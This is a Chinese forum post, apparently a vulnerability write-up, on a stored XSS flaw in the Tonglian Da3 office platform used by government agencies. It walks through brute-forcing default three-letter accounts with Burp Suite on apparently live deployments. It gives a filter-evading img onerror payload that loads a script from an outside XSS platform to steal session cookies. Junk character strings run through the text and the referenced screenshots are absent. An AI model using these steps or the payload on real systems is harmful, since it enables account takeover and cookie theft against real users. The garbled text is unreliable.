同联Da3协同办公平台后台通用储存型xss漏洞

admin

4 C0 G# b! e) S+ ^ ! v! X5 w) C, z! q; I2 s9 y5 @ / l# P+ L. i+ c+ ? , r3 M4 x7 ^- G8 l - {0 e; u9 \( q+ x , e( E, l' F" I& k & ]/ x+ s. F8 A 4 r- |& |- v' l4 [

, s c! T; c5 X* p

3 L4 J' J9 P! Y, W. m$ L 同联Da3协同办公平台后台通用储存型xss漏洞

平台简介：

5 z5 P* s1 E$ z. X0 V2 f

  & ]/ a+ w; s8 A

# C' m6 r8 B v- G5 a 北京同联信息技术有限公司（以下简称同联）由用友政务与用友原行业事业部团队合伙出资成立。同联以“为全国各级政府单位提供信息化咨询规划、建设解决方案和信息化运维服务，以加强各级政府的精细化、智能化管理，形成高效、敏捷、便民的新型政府。”为使命，致力于为各级政府单位提供专业、标准、灵活、易用的信息化产品及专业的服务。
同联面向政府单位提供专业、标准、灵活、易用的信息化产品。针对各级政府单位，分别提供以“移动政务办公”为主的Da3系列管理软件；针对政法单位提供以“协同办案”为核心的政法协同办案系统等。
同联本着“协作、专业、创新”的工作方针，为推动各级政府单位信息化、促进各级政府快速转型为 “智慧型政府”做出积极贡献！

! T7 y H8 p/ U3 J7 k

 

% y, y9 q) @& n# g. E3 F. |& q

. O( D9 c) O d1 d% J 由于此程序为新开发的程序，故能找到的案例并不多，下面附案例地址：

( [- ]& {6 G% g/ H! _5 }

+ [$ v) _. j# U5 t) c: U  

- t+ ?: O, G5 a* l8 E |9 G5 W6 ~ http://1.1.1.1:7197/cap-aco/#（案例2-） / I# `9 r: V- y8 @$ Q

http://www.XXOO.com （案例1-官网网站） : v9 e- O2 q- j9 J

, ^' ?4 q2 Q5 { g 漏洞详情:

 案例一、 " T9 U2 ^# t5 L

" A& j# y/ [2 Z. v, |. U1 w

初步确定平台的默认账号为姓名的首字母小写，初始密码为123，为了能够更好的模拟入侵，使用黑盒测试手段进行测试 ; z4 `( g t; ^& m b% h

% q3 K( u2 ~; c/ l

m% ]' s4 q9 ^$ i- H      首先使用burpsuite代理，然后再用黑客字典生成一个全英文小写的3位字典，利用burpsuite进行暴力破解，破解结果如图：

! h3 N6 X' j1 K: t9 A9 f5 ^0 z

  ) o, |. q" f' x% E: I

& _# \: Q: M$ r* S

% v& ]4 [4 K; I& x status为302即表示破解成功，然后找个破解成功的账号登录系统。然后在通知公告---通知公告发布-拟稿处存在储存型xss漏洞，我在编机器里填写好标题、选择人员，点html如图： , p- ]! Y Z* r l

 

; K) |* c8 z2 W ' f! ^) K) X* n# M) K

b3 F; u4 a5 u, } 然后插我们的xss跨站代码（经过测试发现过滤了好多标签，比如script，没过滤img、iframe标签），这里我们用img标签来测试，payload如下

1 e' Z6 [7 m: f3 s' ]

  % n8 S% c! @# D' g8 ^! d

<img src=x ) n n5 n6 Z% y8 Y& `onerror=s=createElement('\x73cript');body.appendChild(s);s.src='http://xss.6kb.org/7OO7GQ?1510065652';>，如图：

6 E+ f. T% L( G' t

* \: f5 a/ Z! S3 t6 G

0 X$ J8 |/ j4 k/ D# ]- r 然后发送，接收cookie如图：

2 Y: o( b4 g" ~/ l! }: d2 l/ I6 x* F

 

* c; R; @. w$ o/ p: }- N) X& C! g8 r

* F: h. {3 w8 D. f   & q1 z$ t# h3 q8 t# `+ O

2 o$ \, ~6 z/ J" N# X  

: n/ |$ O0 C! j3 F6 a0 m' I

* N9 P" J% Q8 [9 j  

3 s1 |$ Y" r4 t0 j, U5 V( ~/ p

1 L4 W: x. }: t2 {, ~2 g

. _( w3 X% m! X9 X$ E3 @ @/ H' b

/ b6 j1 M8 S* X* j& T3 f. h

' y+ `5 C% Z6 Y5 G0 x. N

8 i$ b( }+ S, K  

案例2、

, u0 h/ K' x: r$ W9 @

前面步骤都一样，下面看效果图：

) P' N$ T% t9 r

! h F3 |+ u' }2 d5 G" L

* |8 T9 D: h+ w

7 W6 N# B R9 p0 |( g5 a

, ?# p5 w4 c5 |0 i* K2 S5 W* ]& g

 

; J: C1 K# }" I9 d) t   M* `7 N( g6 Y& h9 Y

6 }/ S3 R1 _; U- g

 

0 y" o7 M( N7 ]# _6 J; [  

8 V( X, @/ _6 {# s  

 

5 h+ Y; m0 o; y1 D; @' z* T% m